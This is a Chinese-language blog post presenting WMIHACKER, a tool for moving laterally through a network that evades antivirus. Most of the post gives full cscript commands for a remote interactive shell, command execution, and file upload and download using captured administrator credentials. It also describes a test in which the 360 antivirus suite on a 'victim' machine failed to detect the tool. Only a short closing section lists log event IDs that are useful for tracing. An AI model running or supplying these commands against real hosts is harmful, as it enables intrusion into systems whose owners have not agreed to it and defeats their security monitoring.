横向移动工具 WMIHACKER 介绍

简介

免杀横向渗透远程命令执行，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出WMIHACKER免杀横向移动测试工具。

其通过135端口进行命令执行，执行的结果读取以及无需445端口进行文件传输。此工具利用的前提条件是： 获取到目标主机的账户密码

可能会有人问既然我都拿到主机的账号密码，我远程直接登录不香吗？那远程桌面连接是不是需要开启3389端口，如果目标主机没有开启3389端口呢？那我使用此款工具是不是可以通过135端口就能实现命令执行，而且还可以实现文件上传/下载功能，同时还免杀。

GitHub项目地址

https://github.com/360-Linton-Lab/WMIHACKER

使用方法

执行模式包括cmd、shell、upload、download分别指执行命令、模拟shell、上传文件、下载文件。

交互式Shell

获取交互式shell

cscript WMIHACKER_0.6.vbs /shell xx.xx.xx.xx administrator "Password!"

命令执行

有命令回显执行方式

cscript WMIHACKER_0.6.vbs /cmd xx.xx.xx.xx administrator "Password!" "ipconfig" 1

无命令回显执行方式

cscript WMIHACKER_0.6.vbs /cmd xx.xx.xx.xx administrator "Password!" "ipconfig > c:\1.txt" 0

文件上传

复制本机calc.exe到远程主机c:\calc.exe

cscript wmihacker_0.4.vbe /upload xx.xx.xx.xx administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

文件下载

下载远程主机calc.exe到本地c:\calc.exe

cscript wmihacker_0.4.vbe /download xx.xx.xx.xx administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"

测试

环境

攻击机： windows2008
受害机： windows2008并且安装360全家桶

测试有命令回显方式

C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /cmd 192.168.0.106
 administrator "abc123!" "ipconfig" 1

测试过程中受害机360 全家桶一直在运行中但是并无查杀反应，说明可以绕过查杀。除了上述方式还可以使用下面这种利用方法：

cscript wmihacke.vbs /cmd 192.168.0.106 administrator "abc123!" "echo whoami > c:1.txt" 0

获得一个交互式shell

C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /shell 192.168.0.1
06 administrator "abc123!"

当然其还有上传、下载文件的功能。

使用该工具时会在目标系统上产生4634、4624、4672、4776的登录日志

且会泄漏源地址：

使用该进程进行通信：

溯源时可注重注意该进程、事件活动。总的来说该工具是十分优秀的一款横向工具，且代码写的很优美，方便二开，具体细节有兴趣的可以进行分析。

本作品采用《CC 协议》，转载必须注明作者和本文链接